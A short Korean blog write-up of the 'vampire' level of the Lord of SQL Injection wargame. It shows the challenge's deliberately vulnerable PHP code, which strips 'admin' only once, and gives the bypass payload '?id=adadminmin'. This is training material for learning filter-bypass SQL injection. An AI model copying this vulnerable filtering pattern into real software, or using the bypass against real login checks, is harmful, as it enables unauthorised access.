[Solved in under 1 minute]
SQL Injection 넘흐재미따
가보자

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>
간단하게 코드 해석하자면,
인자를 id로 받고, id에 들어오는 모든 값을 소문자로 바꾸고, admin을 입력할시 공백으로 치환한다.
나의 SQL Injection filter Bypass 를 한번이라도 본 사람은 바로 풀 수 있다.
'admin' -> '' 으로 바꿔주니 Replace 우회인 adadminmin을 사용하면 된다.
바로 URL에 삽입하면?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
?id=adadminmin
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
처음에 ad까지 아무이상없이 값이 들어가고 admin을 인식하여 공백으로 바꾸고 그 뒤에 min이 기본 문자열로 인식하여 ad(admin)min -> admin이 되는 구조이다.
뭐라 할 말이 없지만
.
.
.
그렇다. 할 말 없다.
LoS(Lord of SQL Injection) Vampire Write-up
이상 보고 끝!